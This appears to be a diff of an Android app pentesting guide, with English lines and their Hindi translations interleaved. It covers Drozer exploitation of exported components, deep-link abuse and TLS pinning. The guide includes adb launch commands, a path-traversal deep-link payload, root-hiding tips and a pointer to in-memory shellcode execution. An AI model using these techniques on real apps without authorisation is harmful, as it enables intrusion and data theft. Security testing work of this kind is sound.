React applications के javascript code तक आसानी से पहुँचने के लिए निम्न पृष्ठ पढ़ें:
{{#ref}}
@ -188,7 +188,7 @@ react-native-application.md
### Xamarin Applications
Read the following page to learn how to easily access C# code of a xamarin applications:
Xamarin applications के C# code तक आसानी से पहुँचने के लिए निम्न पृष्ठ पढ़ें:
{{#ref}}
@ -197,17 +197,17 @@ Read the following page to learn how to easily access C# code of a xamarin appli
### Superpacked Applications
According to this [**blog post**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/) superpacked is a Meta algorithm that compress the content of an application into a single file. The blog talks about the possibility of creating an app that decompress these kind of apps... and a faster way which involves to **execute the application and gather the decompressed files from the filesystem.**
इस [**blog post**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/) के अनुसार superpacked एक Meta algorithm है जो application की content को एक single file में compress करता है। ब्लॉग में चर्चा है कि ऐसे apps को decompress करने के लिये एक ऐप बनाना संभव है... और एक तेज़ तरीका जो involve करता है **application को execute करना और filesystem से decompressed files इकट्ठा करना.**
### Automated Static Code Analysis
The tool [**mariana-trench**](https://github.com/facebook/mariana-trench) is capable of finding **vulnerabilities** by **scanning** the **code** of the application. This tool contains a series of **known sources** (that indicates to the tool the **places** where the **input** is **controlled by the user**), **sinks** (which indicates to the tool **dangerous** **places** where malicious user input could cause damages) and **rules**. These rules indicates the **combination** of **sources-sinks** that indicates a vulnerability.
टूल [**mariana-trench**](https://github.com/facebook/mariana-trench) application के **code** को **scan** करके **vulnerabilities** खोजने में सक्षम है। इस tool में कई **known sources** (जो tool को बताती हैं कि वे **places** कहाँ हैं जहाँ **input** **user द्वारा control** होता है), **sinks** (जो tool को बताती हैं कि वे **dangerous** **places** कौन से हैं जहाँ malicious user input नुकसान कर सकता है) और **rules** शामिल हैं। ये rules उन **sources-sinks** के **combination** को इंगित करते हैं जो vulnerability की निशानी होती है।
With this knowledge, **mariana-trench will review the code and find possible vulnerabilities on it**.
इन जानकारियों के साथ, **mariana-trench कोड की समीक्षा करेगा और संभावित vulnerabilities पाएगा।**
### Secrets leaked
An application may contain secrets (API keys, passwords, hidden urls, subdomains...) inside of it that you might be able to discover. You could us a tool such as [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks)
एक application में secrets (API keys, passwords, hidden urls, subdomains...) हो सकते हैं जिन्हें आप discover कर सकते हैं। आप ऐसे tool का उपयोग कर सकते हैं जैसे [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks)
### Bypass Biometric Authentication
@ -216,12 +216,17 @@ An application may contain secrets (API keys, passwords, hidden urls, subdomains
bypass-biometric-authentication-android.md
{{#endref}}
### Other interesting functions
### अन्य दिलचस्प फ़ंक्शन्स
- **Code execution**: `Runtime.exec(), ProcessBuilder(), native code:system()`
- **Send SMSs**: `sendTextMessage, sendMultipartTestMessage`
- **Native functions** declared as `native`: `public native, System.loadLibrary, System.load`
- [Read this to learn **how to reverse native functions**](reversing-native-libraries.md)
- [इसे पढ़ें ताकि आप जान सकें **native functions को कैसे reverse करें**](reversing-native-libraries.md)
- JNI के माध्यम से इन-मेमोरी native code निष्पादन (downloaded shellcode → mmap/mprotect → call):
{{#ref}}
in-memory-jni-shellcode-execution.md
{{#endref}}
### **Other tricks**
@ -234,47 +239,47 @@ content-protocol.md
---
## Dynamic Analysis
## डायनामिक एनालिसिस
> First of all, you need an environment where you can install the application and all the environment (Burp CA cert, Drozer and Frida mainly). Therefore, a rooted device (emulated or not) is extremely recommended.
> सबसे पहले, आपको एक ऐसा environment चाहिए जहा आप application और सभी आवश्यक environment (Burp CA cert, Drozer और Frida मुख्य रूप से) install कर सकें। इसलिए, एक rooted device (emulated हो या नहीं) अत्यधिक recommend किया जाता है।
### Online Dynamic analysis
You can create a **free account** in: [https://appetize.io/](https://appetize.io). This platform allows you to **upload** and **execute** APKs, so it is useful to see how an apk is behaving.
आप एक **free account** बना सकते हैं: [https://appetize.io/](https://appetize.io/). यह platform आपको APKs **upload** और **execute** करने की अनुमति देता है, इसलिए यह यह देखने में उपयोगी है कि एक apk कैसे behave कर रहा है।
You can even **see the logs of your application** in the web and connect through **adb**.
आप वेब पर अपने application के logs भी देख सकते हैं और **adb** के जरिए connect कर सकते हैं।
![](<../../images/image (831).png>)
Thanks to the ADB connection you can use **Drozer** and **Frida** inside the emulators.
ADB connection की वजह से आप emulators के अंदर **Drozer** और **Frida** का उपयोग कर सकते हैं।
### Local Dynamic Analysis
#### Using an emulator
- [**Android Studio**](https://developer.android.com/studio) (You can create **x86** and **arm** devices, and according to [**this** ](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**latest x86** versions **support ARM libraries** without needing an slow arm emulator).
- Learn to set it up in this page:
- [**Android Studio**](https://developer.android.com/studio) (आप **x86** और **arm** devices बना सकते हैं, और [**this** ](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**latest x86** versions **support ARM libraries** बिना slow arm emulator की ज़रूरत के).
- इसे सेटअप करना सीखने के लिए इस पृष्ठ को देखें:
{{#ref}}
avd-android-virtual-device.md
{{#endref}}
- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Free version:** Personal Edition, you need to create an account. _It's recommend to **download** the version **WITH**_ _**VirtualBox** to avoid potential errors._)
- [**Nox**](https://es.bignox.com) (Free, but it doesn't support Frida or Drozer).
- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Free version:** Personal Edition, आपको एक account बनाना होगा. _यह recommend किया जाता है कि आप उस version को **download** करें जो **WITH** _**VirtualBox** हो ताकि संभावित errors से बचा जा सके._)
- [**Nox**](https://es.bignox.com) (Free, पर यह Frida या Drozer को support नहीं करता).
> [!TIP]
> जब किसी भी platform पर नया emulator बनाते हैं तो ध्यान रखें कि स्क्रीन जितनी बड़ी होगी, emulator उतना ही स्लो चलेगा। इसलिए यदि संभव हो तो छोटे स्क्रीन चुनें।
> जब किसी भी platform पर नया emulator बनाते हैं तो ध्यान रखें कि स्क्रीन जितनी बड़ी होगी, emulator उतना ही धीमा चलेगा। इसलिए संभव हो तो छोटे स्क्रीन चुनें।
To **install google services** (like AppStore) in Genymotion you need to click on the red marked button of the following image:
Genymotion में google services (जैसे AppStore) install करने के लिए निम्न चित्र के लाल चिन्हित बटन पर क्लिक करना होगा:
![](<../../images/image (277).png>)
Also, notice that in the **configuration of the Android VM in Genymotion** you can select **Bridge Network mode** (this will be useful if you will be connecting to the Android VM from a different VM with the tools).
साथ ही, ध्यान दें कि **Genymotion में Android VM की configuration** में आप **Bridge Network mode** चुन सकते हैं (यह उपयोगी होगा यदि आप किसी अलग VM से Android VM से जुड़ रहे हैं जिसमें tools हैं)।
#### Use a physical device
You need to activate the **debugging** options and it will be cool if you can **root** it:
आपको **debugging** options को सक्रिय करना होगा और अच्छा होगा अगर आप उसे **root** कर सकें:
1. **Settings**.
2. (FromAndroid 8.0) Select **System**.
@ -282,171 +287,169 @@ You need to activate the **debugging** options and it will be cool if you can **
4. Press **Build number** 7 times.
5. Go back and you will find the **Developer options**.
> Once you have installed the application, the first thing you should do is to try it and investigate what does it do, how does it work and get comfortable with it.\
> I will suggest to **perform this initial dynamic analysis using MobSF dynamic analysis + pidcat**, so we will be able to **learn how the application works** while MobSF **captures** a lot of **interesting** **data** you can review later on.
Magisk/Zygisk quick notes (recommended on Pixel devices)
- Patch boot.img with the Magisk app and flash via fastboot to get systemless root
- Enable Zygisk + DenyList for root hiding; consider LSPosed/Shamiko when stronger hiding is required
- Keep original boot.img to recover from OTA updates; re-patch after each OTA
- For screen mirroring, use scrcpy on the host
> एक बार जब आपने application install कर ली है, तो पहली चीज जो आपको करनी चाहिए वह है इसे चलाकर देखना और जाँचना कि यह क्या करता है, यह कैसे काम करता है और इससे comfortable होना।\
> मैं सलाह दूंगा कि इस प्रारम्भिक डायनामिक एनालिसिस को MobSF dynamic analysis + pidcat का उपयोग करके करें, ताकि हम सीख सकें कि application कैसे काम करता है जबकि MobSF बहुत सारी interesting डेटा capture कर रहा होगा जिसे आप बाद में review कर सकते हैं।
Magisk/Zygisk quick notes (Pixel devices पर recommended)
- Magisk app से boot.img patch करें और fastboot के जरिए flash करके systemless root पाएं
- Zygisk + DenyList enable करके root hide करें; जब मजबूत hiding चाहिए तो LSPosed/Shamiko पर विचार करें
- OTA updates से recover करने के लिए original boot.img रखें; हर OTA के बाद re-patch करें
- स्क्रीन mirroring के लिए host पर scrcpy का उपयोग करें
### Unintended Data Leakage
**Logging**
डेवलपरों को सार्वजनिक रूप से **debugging information** उजागर करने में सावधानी बरतनी चाहिए, क्योंकि इससे संवेदनशील data leak हो सकता है। application logs को मॉनिटर करने के लिए tools [**pidcat**](https://github.com/JakeWharton/pidcat) और `adb logcat` की सिफारिश की जाती है ताकि संवेदनशील जानकारी की पहचान और सुरक्षा की जा सके। **Pidcat** इसकी उपयोगिता और पठनीयता के कारण प्रायः प्राथमिकता दिया जाता है।
Developers को सार्वजनिक रूप से **debugging information** उजागर करने में सावधान रहना चाहिए, क्योंकि इससे संवेदनशील डेटा leaks हो सकते हैं। application logs मॉनिटर करने के लिए [**pidcat**](https://github.com/JakeWharton/pidcat) और `adb logcat` की सिफारिश की जाती है ताकि संवेदनशील जानकारी की पहचान और सुरक्षा की जा सके। **Pidcat** को उसकी ease of use और readability के कारण प्राथमिकता दी जाती है।
> [!WARNING]
> Note that from **later newer than Android 4.0**, **applications are only able to access their own logs**. So applications cannot access other apps logs.\
> Anyway, it's still recommended to **not log sensitive information**.
> ध्यान दें कि **Android 4.0 से नई versions** में, **applications केवल अपने ही logs तक पहुँच सकती हैं**। इसलिए applications अन्य apps के logs तक access नहीं कर सकतीं।\
> फिर भी, यह सुझाया जाता है कि संवेदनशील जानकारी को **log न करें**
**Copy/Paste Buffer Caching**
Android का **clipboard-based** framework apps में copy-paste सुविधा देता है, लेकिन जोखिम यह है कि **other applications** clipboard तक **access** कर सकती हैं, जिससे संवेदनशील डेटा उजागर हो सकता है। इसलिए application के संवेदनशील हिस्सों (जैसे credit card details) के लिए copy/paste functions को disable करना आवश्यक है ताकि data leak से बचा जा सके।
Android का **clipboard-based** framework apps में copy-paste functionality सक्षम करता है, फिर भी यह जोखिम पैदा करता है क्योंकि **अन्य applications** clipboard को access कर सकती हैं और संभावित रूप से संवेदनशील डेटा expose कर सकती हैं। इसलिए किसी application के संवेदनशील हिस्सों (जैसे credit card details) के लिए copy/paste functions को disable करना महत्वपूर्ण है ताकि डेटा leak होने से रोका जा सके।
**Crash Logs**
यदि कोई application **crashes** और logs सेव करता है, तो ये logs attackers की मदद कर सकते हैं, खासकर जब application को reverse-engineer नहीं किया जा सकता। इस जोखिम को कम करने के लिए, crashes पर logging से बचें, और यदि logs नेटवर्क पर भेजने ही हों तो उन्हें SSL चैनल के माध्यम से भेजना सुनिश्चित करें।
यदि कोई application **crash** करता है और logs save करता है, तो ये logs attackers के लिए मददगार हो सकते हैं, खासकर जब application reverse-engineer नहीं की जा सकती। इस जोखिम को कम करने के लिए, crash पर logging से बचें, और यदि logs network पर भेजने ही हों तो उन्हें SSL चैनल के माध्यम से भेजें।
As pentester, **try to take a look to these logs**.
**Analytics Data Sent To 3rd Parties**
Applications अक्सर Google Adsense जैस services integrate करते हैं, जो developers के गलत implementation की वजह से अनजाने में संवेदनशील data leak कर सकते हैं। संभावित data leaks पहचानने के लिए, application के traffic को intercept करना और third-party services को भेजे जा रहे किसी भी संवेदनशील जानकारी की जाँच करना सलाहकार है।
Applications अक्सर Google Adsense जैस services integrate करते हैं, जो गलत implementation की वजह से अनजाने में **sensitive data leak** कर सकती हैं। संभावित data leaks की पहचान करने के लिए, यह सलाह दी जाती है कि आप application's traffic intercept करें और देखें कि क्या कोई संवेदनशील जानकारी third-party services को भेजी जा रही है।
### SQLite DBs
ज़्यादातर applications internal SQLite databases का उपयोग करके जानकारी सेव करेंगे। pentest के दौरान बनाए गए **databases**, **tables** और **columns** के नामों और सेव किए गए सारे डेटा को ध्यान से देखें क्योंकि आप वहां **sensitive information** पा सकते हैं (जो कि vulnerability होगी).\
Databases आमतौर पर `/data/data/the.package.name/databases` में स्थित होते हैं जैसे `/data/data/com.mwr.example.sieve/databases`
अधिकतर applications internal SQLite databases का उपयोग जानकारी save करने के लिए करते हैं। pentest के दौरान बनाए गए **databases**, **tables** और **columns** के नाम और उसमें saved सभी **data** को ध्यान से देखें क्योंकि आप वहां **sensitive information** पा सकते हैं (जो vulnerability होगी).\
Databases को सामान्यतः `/data/data/the.package.name/databases` में पाया जाता है जैसे `/data/data/com.mwr.example.sieve/databases`
अगर database confidential information सेव कर रहा है और वह **encrypted b**ut आप application के अंदर password **find** कर सकते हैं तो यह फिर भी एक **vulnerability** है।
यदि database confidential information save कर रहा है और वह **encrypted** है पर आप application के अंदर password पा लेते हैं तो यह फिर भी एक **vulnerability** है।
.tables का उपयोग करके tables enumerate करें और tables के columns को `.schema <table_name>` करके enumerate करें
.tables का उपयोग करके tables enumerate करें और .schema <table_name> करके table के columns enumerate करें
### Drozer (Exploit Activities, Content Providers and Services)
From [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** आपको **assume the role of an Android app** और अन्य apps के साथ interact करने की अनुमति देता है। यह वही कुछ भी कर सकता है जो एक installed application कर सकता है, जैसे Androids Inter-Process Communication (IPC) mechanism का उपयोग करना और underlying operating system के साथ interact करना। .\
Drozer एक उपयोगी tool है जो **exported activities, exported services and Content Providers** को exploit करने में मदद करता है जैसा कि आप अगले sections में सीखेंगे।
From [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** आपको **एक Android app की भूमिका अपनाने** और अन्य apps के साथ interact करने की अनुमति देता है। यह installed application जो कुछ भी कर सकती है, वह कर सकता है, जैसे Androids Inter-Process Communication (IPC) mechanism का उपयोग करना और underlying operating system के साथ interact करना। .\
Drozer एक उपयोगी tool है जो **exported activities, exported services और Content Providers** को exploit करने में मदद करता है जैसा कि आप निम्न sections में सीखेंगे।
### Exploiting exported Activities
[**Read this if you want to refresh what is an Android Activity.**](android-applications-basics.md#launcher-activity-and-other-activities)\
यह भी याद रखें कि किसी activity का कोड **`onCreate`** method में शुरू होता है।
और याद रखें कि किसी activity का code **`onCreate`** method में शुरू होता है।
**Authorisation bypass**
जब कोई Activity exported होती है तो आप उसकी screen को external app से invoke कर सकते हैं। इसलिए, अगर किसी activity में **sensitive information** है और वह **exported** है तो आप authentication mechanisms को **bypass** करके उसे access कर सकते हैं।
जब कोई Activity exported होती है तो आप उसकी स्क्रीन को किसी external app से invoke कर सकते हैं। इसलिए, यदि किसी activity में **sensitive information** है और वह **exported** है तो आप authentication mechanisms को **bypass** करके उसे access कर सकते हैं।
[**Learn how to exploit exported activities with Drozer.**](drozer-tutorial/index.html#activities)
You can also start an exported activity from adb:
आप adb से भी एक exported activity start कर सकते हैं:
- PackageName is com.example.demo
- Exported ActivityName is com.example.test.MainActivity
```bash
adb shell am start -n com.example.demo/com.example.test.MainActivity
```
**नोट**: MobSF किसी activity में `android:launchMode` के रूप में _**singleTask/singleInstance**_ के उपयोग को malicious के रूप में पहचान सकता है, लेकिन [this](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750) के कारण, जाहिर तौर पर यह केवल पुराने वर्शनों (API versions < 21) में खतरन है
**NOTE**: MobSF किसी activity में `android:launchMode` के रूप में _**singleTask/singleInstance**_ के उपयोग को malicious के रूप में डिटेक्ट करेगा, लेकिन [यहाँ](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750) के कारण ऐसा प्रतीत होता है कि यह केवल पुराने वर्शन (API versions < 21) पर खतरन है
> [!TIP]
> ध्यान दें कि एक authorisation bypass हमेशा एक vulnerability नहीं होता; यह इस बात पर निर्भर करेगा कि bypass कैसे काम करता है और कौन सी जानकारी प्रकट होती है।
> ध्यान दें कि एक authorisation bypass हमेशा एक vulnerability नहीं होता, यह निर्भर करेगा कि bypass कैसे काम करता है और कौन सी जानकारी exposed होती है।
**Sensitive information leakage**
**Activities can also return results**. यदि आप किसी exported और unprotected activity को ढूंढ पाते हैं जो **`setResult`** method को कॉल कर रही हो और **returning sensitive information**, तो there is a sensitive information leakage
**Activities can also return results**. यदि आप कोई exported और unprotected activity पाते हैं जो **`setResult`** method को कॉल करके **returning sensitive information** कर रही है, तो यह एक sensitive information leakage है
#### Tapjacking
यदि tapjacking रोका नहीं गया है, तो आप exported activity का दुरुपयोग करके **user को अप्रत्याशित क्रियाएँ करवा सकते हैं**। अधिक जानकारी के लिए [**what is Tapjacking follow the link**](#tapjacking) देखें।
यदि Tapjacking रोका नहीं गया है, तो आप exported activity का दुरुपयोग करके **user perform unexpected actions** करवा सकते हैं। अधिक जानकारी के लिए [**what is Tapjacking follow the link**](#tapjacking) देखें।
### Exploiting Content Providers - Accessing and manipulating sensitive information
[**Read this if you want to refresh what is a Content Provider.**](android-applications-basics.md#content-provider)\
Content providers मूल रूप से **share data** के लिए उपयोग किए जाते हैं। यदि किसी app के पास उपलब्ध content providers हैं, तो आप उनसे **extract sensitive** data कर सकते हैं। इसके अलावा संभावित **SQL injections** और **Path Traversals** का परीक्षण करना भी महत्वपूर्ण है क्योंकि वे vulnerable हो सकते हैं।
[**यदि आप refresh करना चाहते हैं कि Content Provider क्या है तो यह पढ़ें।**](android-applications-basics.md#content-provider)\
Content providers मूलतः **share data** के लिए उपयोग होते हैं। यदि किसी app में available content providers हैं तो आप उनसे **extract sensitive** डेटा कर पाने में सक्षम हो सकते हैं। साथ ही संभावित **SQL injections** और **Path Traversals** की जाँच करना महत्वपूर्ण है क्योंकि वे vulnerable हो सकते हैं।
[**Learn how to exploit Content Providers with Drozer.**](drozer-tutorial/index.html#content-providers)
[**Drozer के साथ Content Providers को exploit करने का तरीका सीखें।**](drozer-tutorial/index.html#content-providers)
### **Exploiting Services**
[**Read this if you want to refresh what is a Service.**](android-applications-basics.md#services)\
ध्यान रखें कि Service की क्रियाएँ method `onStartCommand` में शुरू होती हैं।
[**यदि आप refresh करना चाहते हैं कि Service क्या है तो यह पढ़ें।**](android-applications-basics.md#services)\
याद रखें कि Service की actions `onStartCommand` method में शुरू होती हैं।
Service मूलतः ऐसा कुछ है जो **data receive** कर सकता है, उसे **process** करता है और (या नहीं) एक response **returns** करता है। इसलिए, यदि कोई application कुछ services export कर रहा है तो आपको **code** की जाँच करनी चाहिए यह समझने के लिए कि यह क्या कर रहा है और गोपनीय जानकारी निकालने, authentication measures को bypass करने के लिए इसे **dynamically** test करना चाहिए।\
[**Learn how to exploit Services with Drozer.**](drozer-tutorial/index.html#services)
Service मूलतः ऐसा component है जो **can receive data**, उसे **process** कर सकता है और (या नहीं) एक response **returns** करता है। इसलिए, यदि कोई application कुछ services export कर रहा है तो आपको उसका **code** **check** करके समझना चाहिए कि वह क्या कर रहा है और उसे confidential info निकालने, authentication measures bypass करने आदि के लिए **dynamically test** करना चाहिए।\
[**Drozer के साथ Services को exploit करने का तरीका सीखें।**](drozer-tutorial/index.html#services)
### **Exploiting Broadcast Receivers**
[**Read this if you want to refresh what is a Broadcast Receiver.**](android-applications-basics.md#broadcast-receivers)\
ध्यान रखें कि Broadcast Receiver की क्रियाएँ method `onReceive` में शुरू होती हैं।
[**यदि आप refresh करना चाहते हैं कि Broadcast Receiver क्या है तो यह पढ़ें।**](android-applications-basics.md#broadcast-receivers)\
याद रखें कि Broadcast Receiver की actions `onReceive` method में शुरू होती हैं।
एक broadcast receiver किसी प्रकार के message का इंतजार करेगा। यह निर्भर करता है कि receiver उस संदेश को कैसे handle करता है, यह vulnerable हो सकता है।\
[**Learn how to exploit Broadcast Receivers with Drozer.**](#exploiting-broadcast-receivers)
एक broadcast receiver किसी विशेष प्रकार के message का इंतजार करेगा। यह इस पर निर्भर करता है कि receiver message को कैसे handle करता है कि वह vulnerable हो सकता है।\
[**Drozer के साथ Broadcast Receivers को exploit करने का तरीका सीखें।**](#exploiting-broadcast-receivers)
### **Exploiting Schemes / Deep links**
आप deep links मैन्युअली ढूढ सकते हैं, MobSF जैसे tools या [this one](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py) जैसे scripts का उपयोग करके।\
आप adb या किसी browser का उपयोग करके घोषित **scheme** को **open** कर सकते हैं:
आप deep links मैन्युअली ढूढ सकते हैं, MobSF जैसे tools या [this one](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py) जैसे scripts का उपयोग करके।\
आप घोषित किए गए किसी **scheme** को **adb** या **browser** का उपयोग करके **open** कर सकते हैं:
```bash
adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name]
```
_ध्यान दें कि आप **पैकेज नाम छोड़ सकते हैं** और मोबाइल स्वचालित रूप से उस ऐप को कॉल करेगा जो उस लिंक को खोलना चाहिए._
_ध्यान दें कि आप **package name को छोड़ सकते हैं** और मोबाइल स्वचालित रूप से उस app को कॉल करेगा जो उस लिंक को खोलना चाहिए._
```html
<!-- Browser regular link -->
<a href="scheme://hostname/path?param=value">Click me</a>
<!-- fallback in your url you could try the intent url -->
<a href="intent://hostname#Intent;scheme=scheme;package=your.package.name;S.browser_fallback_url=http%3A%2F%2Fwww.example.com;end">with alternative</a>
```
**App में निष्पादित होने वाला code**
**निष्पादित कोड**
App में निष्पादित होने वाला code खोजने के लिए, deeplink द्वारा कॉल की गई activity में जाएं और function **`onNewIntent`** खोजें।
App में वह **code that will be executed in the App** खोजने के लिए, उस activity पर जाएँ जिसे deeplink कॉल कर रहा है और फ़ंक्शन **`onNewIntent`** खोजें।
![](<../../images/image (436) (1) (1) (1).png>)
**संवेदनशील जानकारी**
**Sensitive info**
हर बार जब आप कोई deep link पाते हैं तो जांचें कि **यह URL parameters के माध्यम से संवेदनशील डेटा (जैसे passwords) प्राप्त नहीं कर रहा है**, क्योंकि कोई भी अन्य application **उस deep link की impersonate करके वह डेटा चुरा सकता है!**
हर बार जब आप किसी deep link को पाते हैं, जाँच करें कि i**t's not receiving sensitive data (like passwords) via URL parameters**, क्योंकि कोई भी दूसरी application उस deep link को **impersonate** करके उस डेटा को चुरा सकती है!
**Path में Parameters**
**Parameters in path**
आपको **यह भी जांचना चाहिए कि कोई deep link URL के path के अंदर parameter तो उपयोग नहीं कर रहा है** जैसे: `https://api.example.com/v1/users/{username}` , उस स्थिति में आप path traversal जबरदस्ती कर सकते हैं जैसे: `example://app/users?username=../../unwanted-endpoint%3fparam=value` .\
ध्यान दें कि यदि आप application के अंदर सही endpoints ढूंढ लेते हैं तो आप **Open Redirect** (यदि path का कोई हिस्सा domain name के रूप में उपयोग होता है), **account takeover** (यदि आप CSRF token के बिना user details बदल सकते हैं और vulnerable endpoint ने सही method उपयोग किया) और किसी अन्य vuln का कारण बन सकते हैं। अधिक जानकारी के लिए [यहाँ](http://dphoeniixx.com/2020/12/13-2/) देखें।
आपको यह भी जांचना **ज़रूरी** है कि कोई deep link URL के path के अंदर parameter का उपयोग कर रहा है या नहीं, जैसे: `https://api.example.com/v1/users/{username}` , ऐसे मामलों में आप path traversal को मजबूर कर सकते हैं, जैसे: `example://app/users?username=../../unwanted-endpoint%3fparam=value` .\
ध्यान दें कि अगर आप application के अंदर सही endpoints खोज लेते हैं तो आप **Open Redirect** (अगर path का हिस्सा domain name के रूप में उपयोग हो रहा हो), **account takeover** (अगर आप users के विवरण को CSRF token के बिना बदल सकते हैं और vulnerable endpoint ने सही method उपयोग किया हो) और अन्य किसी भी vuln को उत्पन्न कर सकते हैं। More [info about this here](http://dphoeniixx.com/2020/12/13-2/).
**More examples**
एक [दिलचस्प bug bounty रिपोर्ट](https://hackerone.com/reports/855618) links के बारे में (_/.well-known/assetlinks.json_).
An [interesting bug bounty report](https://hackerone.com/reports/855618) about links (_/.well-known/assetlinks.json_).
### ट्रांसपोर्ट लेयर निरीक्षण और सत्यापन विफलताएँ
### Transport Layer Inspection and Verification Failures
- **Certificates हमेशा सही तरीके से निरीक्षित नहीं किए जाते** Android applications द्वारा। अक्सर ये applications warnings को अनदेखा कर self-signed certificates स्वीकार कर लेते हैं या कुछ मामलों में HTTP connections पर वापस चले जाते हैं।
- **SSL/TLS handshake के दौरान negotiations कभी-कभार कमजोर होते हैं**, जो insecure cipher suites का उपयोग करते हैं। यह vulnerability connection को man-in-the-middle (MITM) attacks के लिए संवेदनशील बनाती है, जिससे attackers डेटा decrypt कर सकते हैं।
- **Leakage of private information** एक जोखिम है जब applications secure channels का उपयोग करके authenticate करती हैं पर अन्य transactions के लिए non-secure channels पर communicate करती हैं। यह तरीका sensitive data, जैसे session cookies या user details, को malicious entities द्वारा interception से सुरक्षित नहीं रखता।
- **Certificates को हमेशा ठीक से जांचा नहीं जाता** Android applications द्वारा। अक्सर ये applications warnings को नजरअंदाज कर self-signed certificates स्वीकार कर लेते हैं या कुछ मामलों में HTTP connections पर वापस लौट जाते हैं।
- **SSL/TLS handshake के दौरान negotiations कभी-कभी कमजोर होती हैं**, जिसमें insecure cipher suites का उपयोग होता है। यह कमजोरी connection को man-in-the-middle (MITM) हमलों के लिए संवेदनशील बनाती है, जिससे attackers डेटा को decrypt कर सकते हैं।
- **गोपनीय जानकारी का रिसाव** एक जोखिम है जब applications secure channels का उपयोग करके authenticate करती हैं लेकिन अन्य transactions के लिए non-secure channels पर communicate करती हैं। यह तरीका sensitive डेटा—जैसे session cookies या user details—को malicious entities द्वारा इंटरसेप्ट होने से सुरक्षित नहीं रख पाता।
#### सर्टिफिकेट सत्यापन
#### Certificate Verification
हम **certificate verification** पर ध्यान कें्रित करेंगे। सुरक्षा बढ़ाने के लिए server के certificate की integrity verify करना आवश्यक है। यह महत्वपूर्ण है क्योंकि insecure TLS configurations और unencrypted channels पर संवेदनशील डेटा का ट्रांसमिशन गंभीर जोखिम पैदा कर सकता है। server certificates verify करने और vulnerabilities को ठीक करने के विस्तृत चरणों के लिए, [**this resource**](https://manifestsecurity.com/android-application-security-part-10/) विस्तृत मार्गदर्शन प्रदान करता है।
हम **certificate verification** पर ध्यान देंगे। server के certificate की integrity को verify करना सुरक्षा बढ़ाने के लिए आवश्यक है। यह महत्वपूर्ण है क्योंकि insecure TLS configurations और unencrypted channels पर sensitive data का transmission गंभीर जोखिम पैदा कर सकता है। server certificates verify करने और vulnerabilities को संबोधित करने के लिए विस्तृत कदमों के लिए, [**this resource**](https://manifestsecurity.com/android-application-security-part-10/) व्यापक मार्गदर्शन प्रदान करता है।
#### SSL Pinning
SSL Pinning एक security measure है जहाँ application server के certificate को application में स्टोर ज्ञात copy के खिलाफ verify करती है। यह तरीका MITM attacks को रोकने के लिए आवश्यक है। संवेदनशील जानकारी संभालने वाली applications के लिए SSL Pinning लागू करना अत्यधिक अनुशंसित है।
SSL Pinning एक security measure है जहाँ application server के certificate को उसके अंदर संग्रहित ज्ञात copy के खिलाफ verify करती है। यह विधि MITM attacks को रोकने के लिए अनिवार्य है। संवेदनशील जानकारी संभालने वाली applications के लिए SSL Pinning लागू करने की दृढ़ सिफारिश की जाती है।
#### ट्रैफ़िक निरीक्षण
#### Traffic Inspection
HTTP ट्रैफ़िक inspect करने के लिए, **proxy tool का certificate install करना** आवश्यक है (उदा., Burp)। इस certificate को install किए बिना, encrypted ट्रैफ़िक proxy के माध्यम से दिखाई नहीं दे सकता। custom CA certificate install करने के लिए गाइड के लिए, [**click here**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine) देखें
HTTP traffic inspect करने के लिए, यह आवश्यक है कि **proxy tool का certificate इंस्टॉल** किया जाए (उदा., Burp)। इस certificate को इंस्टॉल किए बिना, encrypted traffic proxy के माध्यम से दिखाई नहीं दे सकती। custom CA certificate इंस्टॉल करने के निर्देशों के लिए, [**click here**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine)।
Applications जो **API Level 24 and above** लक्षित करती हैं, उन्हें proxy की CA certificate स्वीकार करने के लिए Network Security Config में परिवर्तन करने की आवश्यकता होती है। यह कदम encrypted ट्रैफ़िक inspect करने के लिए महत्वपूर्ण है। Network Security Config बदलने के निर्देशों के लिए, [**refer to this tutorial**](make-apk-accept-ca-certificate.md) देखें
API Level 24 और उससे ऊपर target करने वाली applications को proxy के CA certificate को स्वीकार करने के लिए Network Security Config में संशोधन की आवश्यकता होती है। यह कदम encrypted traffic inspect करने के लिए महत्वपूर्ण है। Network Security Config में संशोधन करने के निर्देशों के लिए, [**refer to this tutorial**](make-apk-accept-ca-certificate.md)।
यदि **Flutter** उपयोग हो रहा है तो आपको [**this page**](flutter.md) में दिए निर्देशों का पालन करना होगा। ऐसा इसलिए है क्योंकि केवल certificate को store में जोड़ना काम नहीं करेगा क्योंकि Flutter के पास अपनी स्वयं की valid CAs की सूची होती है।
यदि **Flutter** उपयोग किया जा रहा है तो आपको [**this page**](flutter.md) में दिए निर्देशों का पालन करना होगा। ऐसा इसलिए है क्योंकि केवल certificate को store में जोड़ना काम नहीं करेगा क्योंकि Flutter के पास अपने valid CAs की अलग सूची होती है।
#### SSL/TLS pinning का static पता लगाना
#### Static detection of SSL/TLS pinning
Runtime bypasses का प्रयास करने से पहले तेज़ी से मैप करें कि APK में कहाँ pinning लागू है। Static discovery आपको hooks/patches की योजना बनाने और सही code paths पर ध्यान केंद्रित करने में मदद करता है।
Runtime bypasses का प्रयास करने से पहले, जल्दी से map करें कि APK में कहाँ pinning लागू किया गया है। Static discovery आपको hooks/patches की योजना बनाने और सही code paths पर ध्यान केंद्रित करने में मदद करता है।
Tool: SSLPinDetect
